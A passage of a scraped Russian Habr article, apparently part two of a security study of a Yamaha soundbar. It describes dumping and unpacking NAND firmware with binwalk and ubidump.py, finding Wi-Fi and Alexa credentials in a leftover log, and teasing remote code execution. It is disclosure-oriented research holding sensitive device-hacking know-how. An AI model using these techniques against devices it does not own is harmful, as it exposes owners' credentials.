\u043a\u043e\u0433\u0434\u0430 \u0443\u0432\u0438\u0434\u0438\u0442\u0435, \u043a\u0430\u043a \u043e\u043d \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f?<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/c3a\/393\/a02\/c3a393a02bb1a7117cfe858b25e473f5.png\" alt=\"\" title=\"\" width=\"687\" height=\"728\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/c3a\/393\/a02\/c3a393a02bb1a7117cfe858b25e473f5.png\"\/><\/p>\n<div><figcaption><code>lp_cloud_report_device_event_info<\/code><\/figcaption><\/div>\n<\/figure>\n<p>\u041a\u0430\u043a \u0432\u0430\u043c \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438: <code>lp_cloud_report_device_event_info<\/code>? \u0421\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0442\u043e, \u0447\u0442\u043e \u043f\u0443\u0442\u0438 <code>imgName<\/code> \u0438 <code>downPath<\/code> \u043d\u0430 \u044d\u0442\u043e\u0439 \u0436\u0435\u043b\u0435\u0437\u043a\u0435 \u0432 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0435 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f!<\/p>\n<p>\u0412 \u043e\u0431\u0449\u0435\u043c, \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043d\u0430 \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u043c, \u0430 \u0442\u043e \u0438 \u0442\u0430\u043a \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c \u043e\u0447\u0435\u043d\u044c \u043c\u043d\u043e\u0433\u043e \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0430. \u0412 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0447\u0430\u0441\u0442\u0438 \u044f \u043f\u043b\u0430\u043d\u0438\u0440\u0443\u044e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043e \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0431\u044d\u043a\u0434\u043e\u0440\u0430\u0445, \u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432 \u0441\u0430\u0443\u043d\u0434\u0431\u0430\u0440\u0435, \u0441\u043b\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043b\u043e\u0433\u0430\u0445, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043c\u043e\u0436\u043d\u043e \u043e\u0442\u043a\u043e\u043f\u0430\u0442\u044c \u0438 \u0441\u0432\u043e\u0439 \u043f\u0430\u0440\u043e\u043b\u044c \u043e\u0442 Wi-Fi. \u0417\u0430\u0447\u0435\u043c \u043e\u043d \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c?<\/p>\n<p>\u0422\u0430\u043a\u0436\u0435 \u044f \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u0443\u044e \u0432\u0441\u0435 \u0441\u0432\u043e\u0438 \u043d\u0430\u0445\u043e\u0434\u043a\u0438 \u043f\u0440\u044f\u043c\u043e \u043d\u0430 \u0441\u0430\u0443\u043d\u0434\u0431\u0430\u0440\u0435. \u0410 \u0442\u043e \u043e\u0434\u043d\u0430 \u043a\u043e\u043b\u043e\u043d\u043a\u0430 \u043b\u0435\u0436\u0438\u0442 \u0437\u0430\u043a\u0438\u0440\u043f\u0438\u0447\u0435\u043d\u043d\u0430\u044f, \u0432\u0442\u043e\u0440\u0430\u044f \u0442\u043e\u043b\u044c\u043a\u043e-\u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u0435\u0445\u0430\u043b\u0430 \u0438 \u043f\u043e\u043a\u0430 \u043d\u0438\u0447\u0435\u0433\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c.<\/p>\n<h3>\u0417\u0430\u0442\u0440\u0430\u0432\u043a\u0430 \u043a \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435<\/h3>\n<p>\u0420\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u0432\u0442\u043e\u0440\u0443\u044e \u043a\u043e\u043b\u043e\u043d\u043a\u0443 (\u0430 \u0442\u043e \u043f\u0435\u0440\u0432\u0430\u044f \u0443\u0436\u0435 \u043a\u0438\u0440\u043f\u0438\u0447):<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/574\/0cc\/b7a\/5740ccb7ab1dc1cc7a77cdf9fb82f977.png\" alt=\"\u041c\u0430\u0442\u0438\u043b\u044c\u0434\u0430\" title=\"\u041c\u0430\u0442\u0438\u043b\u044c\u0434\u0430\" width=\"713\" height=\"437\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/574\/0cc\/b7a\/5740ccb7ab1dc1cc7a77cdf9fb82f977.png\"\/><\/p>\n<div><figcaption>\u041c\u0430\u0442\u0438\u043b\u044c\u0434\u0430<\/figcaption><\/div>\n<\/figure>\n<p>\u0418\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c \u043a\u043e\u0434 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e:<\/p>\n<div class=\"tm-iframe_temp\" data-src=\"https:\/\/embedd.srv.habr.com\/iframe\/6532958d3add78308979cb23\" data-style=\"\" id=\"6532958d3add78308979cb23\" width=\"\"><\/div>\n<h3>P.S.<\/h3>\n<p>\u0414\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043d\u0435 \u0432\u044b\u0445\u043e\u0434\u0438\u0442 \u043d\u0430 \u0441\u0432\u044f\u0437\u044c \u0438 \u043d\u0435 \u0445\u043e\u0447\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u044d\u0442\u043e \u043d\u0435 \u0437\u043d\u0430\u0447\u0438\u0442, \u0447\u0442\u043e \u0446\u0435\u043b\u044c (\u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438) \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0434\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0442\u0430. \u0422\u0430\u043a, \u043f\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u043f\u0440\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0432\u0438\u0434\u0435\u043e\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0435 <code>Wisenet HRX-1620<\/code>, \u043d\u0430 \u043d\u0435\u0451 \u0432\u044b\u0448\u043b\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438, \u0438 \u043f\u043e\u043e\u0431\u0435\u0449\u0430\u043b\u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0432 \u043a\u043e\u043d\u0446\u0435 \u043e\u043a\u0442\u044f\u0431\u0440\u044f. \u042d\u0442\u043e \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043d\u0435 \u0440\u0430\u0434\u043e\u0432\u0430\u0442\u044c. \u0416\u0434\u0451\u043c \u0442\u043e\u0433\u043e \u0436\u0435 \u043e\u0442 Yamaha.<\/p>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/768904\/\"> https:\/\/habr.com\/ru\/articles\/768904\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u00a0<\/p>\n<figure class=\"\">\n<div><figcaption>\u041a\u0414\u041f\u0412<\/figcaption><\/div>\n<\/figure>\n<p>\u041f\u0440\u0438\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e!<\/p>\n<p>\u0412 \u043a\u043e\u043d\u0446\u0435 <a href=\"https:\/\/habr.com\/ru\/companies\/bizone\/articles\/762122\/\">\u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 \u0441\u0442\u0430\u0442\u044c\u0438<\/a> \u043f\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044e \u0441\u0430\u0443\u043d\u0434\u0431\u0430\u0440\u0430 Yamaha \u044f \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u043b \u043e \u043f\u043b\u0430\u0447\u0435\u0432\u043d\u043e\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438 \u0435\u0433\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041d\u043e \u0432\u043e\u0442 \u0442\u043e, \u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u043d\u043e \u043f\u043b\u0430\u0447\u0435\u0432\u043d\u043e\u0435, \u044f \u0442\u043e\u0433\u0434\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u043b \u043d\u0435 \u0434\u043e \u043a\u043e\u043d\u0446\u0430.<\/p>\n<p>\u0427\u0442\u043e\u0431\u044b \u0432\u0430\u043c \u043d\u0435 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u0431\u0435\u0433\u0430\u0442\u044c \u0432 \u043f\u0435\u0440\u0432\u0443\u044e \u0447\u0430\u0441\u0442\u044c, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u043c\u0435\u043d\u0442\u044b \u043e\u0442\u0442\u0443\u0434\u0430 \u044f \u0431\u0443\u0434\u0443 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0442\u044c \u2014 \u0442\u0430\u043a \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u043e\u0449\u0435.<\/p>\n<h3>\u0420\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c \u0434\u0430\u043c\u043f NAND<\/h3>\n<p>\u0417\u043d\u0430\u0447\u0438\u0442 \u0442\u0430\u043a, \u0432 \u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u0440\u0430\u0437 \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0447\u0438\u0441\u0442\u044b\u0439 \u0434\u0430\u043c\u043f \u0431\u0435\u0437 \u0441\u043a\u0440\u0435\u043c\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0441 \u0444\u043b\u0435\u0448\u0430. \u041a\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, <a href=\"https:\/\/gist.github.com\/lab313ru\/3ad0cc97b9e6a04ed932b6f77d82464b\">\u0432\u043e\u0442 \u0441\u043a\u0440\u0438\u043f\u0442<\/a>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u0442 NAND-\u0434\u0430\u043c\u043f. \u041d\u0443\u0436\u043d\u043e \u0442\u0435\u043f\u0435\u0440\u044c \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u0432 \u043d\u0451\u043c \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c <code>binwalk<\/code> \u0438 \u0443\u0437\u043d\u0430\u0435\u043c. \u0412\u043e\u0442 \u0447\u0442\u043e \u043c\u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0432\u044b\u0434\u0435\u043b\u0438\u0442\u044c:<\/p>\n<ol>\n<li>\n<p> \u0424\u0430\u0439\u043b\u043e\u0432\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 UBIFS.<\/p>\n<\/li>\n<li>\n<p> \u041e\u0431\u0440\u0430\u0437 \u0441 \u044f\u0434\u0440\u043e\u043c.<\/p>\n<\/li>\n<li>\n<p> Tee- \u0438 TrustedOS-\u043e\u0431\u0440\u0430\u0437\u044b.<\/p>\n<\/li>\n<li>\n<p> \u0417\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u043e\u0442 MediaTek.<\/p>\n<\/li>\n<\/ol>\n<p>\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043d\u0430\u043c \u0443\u0436\u0435 \u043d\u0435 \u043e\u0441\u043e\u0431\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0435\u043d, \u0442\u0430\u043a \u043a\u0430\u043a \u0441\u0432\u043e\u044e \u0440\u043e\u043b\u044c \u043e\u043d \u0441\u044b\u0433\u0440\u0430\u043b \u0432 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 \u0441\u0442\u0430\u0442\u044c\u0438. \u0410 \u0432\u043e\u0442 \u0441 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 \u0441\u0442\u043e\u0438\u0442 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f. \u0414\u043b\u044f \u0434\u0430\u043c\u043f\u0438\u043d\u0433\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e UBIFS \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0437\u0430\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 <a href=\"https:\/\/github.com\/nlitsme\/ubidump\">ubidump.py<\/a>, \u0435\u0433\u043e \u044f \u0442\u043e\u0436\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043b \u0432 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438. \u041d\u043e \u0447\u0442\u043e\u0431\u044b \u043e\u043d \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u0440\u0430\u0431\u043e\u0442\u0430\u043b, \u043d\u0443\u0436\u043d\u043e \u0434\u0430\u043c\u043f \u0441\u043b\u0435\u0433\u043a\u0430 \u043f\u043e\u0434\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u043e\u0442\u043a\u0443\u0441\u044b\u0432\u0430\u0435\u043c \u043e\u0442 \u0444\u0430\u0439\u043b\u0430 \u0432\u0441\u0435 spare-area-\u0431\u043b\u043e\u043a\u0438 (\u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c <code>0x40<\/code> \u0431\u0430\u0439\u0442, \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u043a\u0430\u0436\u0434\u044b\u0435 <code>0x400<\/code> \u0431\u0430\u0439\u0442). \u0414\u0430\u043b\u0435\u0435 \u0431\u0435\u0440\u0451\u043c \u0447\u0430\u0441\u0442\u044c \u0434\u0430\u043c\u043f\u0430 \u0441 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u044f <code>UBI#<\/code>\u00a0(\u044d\u0442\u043e \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435 <code>0xED1000<\/code>) \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u043c \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0444\u0430\u0439\u043b\u0438\u043a. \u0422\u0435\u043f\u0435\u0440\u044c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043a:<\/p>\n<pre><code class=\"bash\">python ubidump.py -s dump tsop_dump_no_ecc_ed1000.bin<\/code><\/pre>\n<p>\u042f \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b \u044d\u0442\u043e \u043f\u043e\u0434 \u043e\u0442\u043b\u0430\u0434\u043a\u043e\u0439, \u0442\u0430\u043a \u043a\u0430\u043a \u0431\u0438\u0442\u044b \u0432 \u043c\u043e\u0451\u043c \u0434\u0430\u043c\u043f\u0435 \u0447\u0430\u0441\u0442\u0435\u043d\u044c\u043a\u043e \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u0432\u0430\u043f\u043d\u0443\u0442\u044b \u0438 CRC32 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u043b. \u041f\u0440\u0438\u0445\u043e\u0434\u0438\u043b\u043e\u0441\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0434\u0430\u043c\u043f \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0430 \u043b\u0435\u0442\u0443 \u2014 \u044d\u0442\u0438\u043c \u0438 \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f NAND-\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044f ECC.<\/p>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u043a\u0430\u0442\u0430\u043b\u043e\u0433 <code>dump\/useradata<\/code>. \u0421\u0440\u0435\u0434\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u044f \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043c\u043e\u0433 \u0431\u044b \u043c\u043d\u0435 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 (\u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u044e, \u044d\u0442\u043e \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u0430\u044f \u0446\u0435\u043b\u044c \u0440\u0435\u0441\u0451\u0440\u0447\u0430). \u0417\u0430\u0442\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0441\u044f \u043e\u0447\u0435\u043d\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b <code>old.log<\/code>. \u0418\u0437 \u043d\u0435\u0433\u043e \u044f \u0443\u0437\u043d\u0430\u043b \u0441\u0432\u043e\u0439 \u043f\u0430\u0440\u043e\u043b\u044c \u043e\u0442 Wi-Fi, <code>client_id<\/code> \u0438 <code>client_secret<\/code> \u043e\u0442 Alexa, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e \u0442\u043e\u043c, \u043a\u0443\u0434\u0430 \u0436\u0435\u043b\u0435\u0437\u043a\u0430 \u043e\u0431\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0437\u0430 \u0430\u043f\u0434\u0435\u0439\u0442\u0430\u043c\u0438. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0432 \u043b\u043e\u0433\u0435 \u0438\u043c\u0435\u043b\u043e\u0441\u044c \u0438 \u0447\u0442\u043e-\u0442\u043e \u043f\u043e\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0435\u0435, \u043d\u043e \u043f\u043e\u043a\u0430 \u044f \u043d\u0435 \u0437\u043d\u0430\u043b, \u043d\u0430 \u0447\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0449\u0430\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u0442\u0430\u043b \u043a\u043e\u043f\u0430\u0442\u044c \u0434\u0430\u043b\u044c\u0448\u0435.<\/p>\n<p>\u042f \u043f\u043e\u043c\u043d\u0438\u043b \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0444\u0430\u0439\u043b\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0432\u043e\u0438\u043c\u0438 \u0438\u043c\u0435\u043d\u0430\u043c\u0438 \u0432 \u0434\u0430\u043c\u043f\u0435 \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u043b\u0438 \u043c\u043e\u0451 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u043d\u043e \u043e\u043d\u0438 \u043f\u043e\u0447\u0435\u043c\u0443-\u0442\u043e \u043d\u0435 \u0441\u0434\u0430\u043c\u043f\u0438\u043b\u0438\u0441\u044c. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043c\u043d\u0435 \u0445\u043e\u0442\u0435\u043b\u043e\u0441\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u044c  <code>yamaha_usb_upgrade.sh<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0442\u0430\u043a \u0436\u0435, \u043a\u0430\u043a \u043e\u0434\u0438\u043d \u0438\u0437 \u0444\u0430\u0439\u043b\u043e\u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u2014 <code>yamaha_usb_upgrade.enc<\/code>.<\/p>\n<p>\u0412 \u043e\u0431\u0449\u0435\u043c, \u043f\u043e\u043a\u043e\u0432\u044b\u0440\u044f\u0432 \u0434\u0430\u043c\u043f\u0438\u043b\u043a\u0443, \u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b, \u0447\u0442\u043e \u043e\u043d\u0430 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0431\u043b\u043e\u043a\u043e\u0432 (\u043e\u043d\u0438 \u043d\u0430\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f LEB \u2014 logical erase block), \u0438\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u0440\u0430\u0437\u043c\u0435\u0440\u0430 \u0444\u0430\u0439\u043b\u0430. \u0422\u0430\u043a\u0436\u0435, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 \u043a\u0430\u043a\u043e\u0433\u043e-\u0442\u043e \u043d\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u043d\u043e\u043c\u0435\u0440\u0430 \u0431\u043b\u043e\u043a\u0430, \u043f\u0440\u0438 \u043f\u0430\u0440\u0441\u0438\u043d\u0433\u0435 \u0438\u0445 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u0438 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0442\u044c \u0438 \u043f\u0435\u0440\u0435\u0442\u0438\u0440\u0430\u0442\u044c \u0440\u0430\u043d\u0435\u0435 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u043d\u044b\u0435. \u0417\u043d\u0430\u0447\u0438\u0442, \u043f\u043b\u044e\u0441-\u043c\u0438\u043d\u0443\u0441 \u0441 \u044d\u0442\u043e\u0433\u043e \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0432 \u0434\u0430\u043c\u043f\u0435 \u0438\u0434\u0451\u0442 \u0434\u0440\u0443\u0433\u043e\u0439 \u0440\u0430\u0437\u0434\u0435\u043b. \u041c\u043e\u0436\u043d\u043e \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0443\u0441\u0438\u0442\u044c \u0435\u0433\u043e \u0438 \u0441\u043d\u043e\u0432\u0430 \u0441\u0434\u0430\u043c\u043f\u0438\u0442\u044c. \u0421\u043a\u0430\u0437\u0430\u043d\u043e \u2014 \u0441\u0434\u0435\u043b\u0430\u043d\u043e.<\/p>\n<p>\u041e\u0431\u0440\u0435\u0437\u0430\u0435\u043c \u0442\u043e\u0442 \u0436\u0435 \u0444\u0430\u0439\u043b \u0434\u043e \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044f <code>0x2C62000<\/code> (\u043f\u043e\u0434\u043e\u0431\u0440\u0430\u043d\u043e \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u043c \u043f\u0443\u0442\u0451\u043c) \u0438 \u0441\u043d\u043e\u0432\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0434\u0430\u043c\u043f\u0438\u043b\u043a\u0443. \u041d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u043f\u043e\u0447\u0435\u043c\u0443-\u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0443\u0436\u0435 \u043d\u0435 <code>useradata<\/code>, \u0430 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 <code>aud8516-consys-slc-rootfs.<\/code> \u0418 \u043e\u043d \u043c\u043d\u0435 \u043d\u0440\u0430\u0432\u0438\u0442\u0441\u044f \u0441\u0438\u043b\u044c\u043d\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e. \u0412\u043e\u0442 \u0447\u0442\u043e \u043e\u0442\u0442\u0443\u0434\u0430 \u0438\u0437\u0432\u043b\u0435\u043a\u043b\u043e\u0441\u044c:<\/p>\n<figure class=\"\">\n<div><figcaption>\u0421\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 rootfs<\/figcaption><\/div>\n<\/figure>\n<p>\u041c\u043d\u043e\u0433\u0438\u0435 \u0438\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043d\u0435 \u043f\u0443\u0441\u0442\u044b\u043c\u0438! \u0418 \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435, \u044f \u043d\u0430\u0448\u0451\u043b \u0442\u0430\u043a \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u0432\u0448\u0438\u0439 \u043c\u0435\u043d\u044f <code>yamaha_usb_upgrade.sh<\/code>. \u041f\u0440\u0430\u0432\u0434\u0430, \u043e\u043d \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f <a href=\"https:\/\/gist.github.com\/lab313ru\/c36f44b472e1389f8297b8afaf07ac3f\">\u043d\u0435 \u0442\u0435\u043c, \u0447\u0435\u0433\u043e \u044f \u043e\u0436\u0438\u0434\u0430\u043b<\/a>. \u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0432 \u044d\u0442\u043e\u043c \u0441\u043a\u0440\u0438\u043f\u0442\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438\u0441\u044c \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u044f 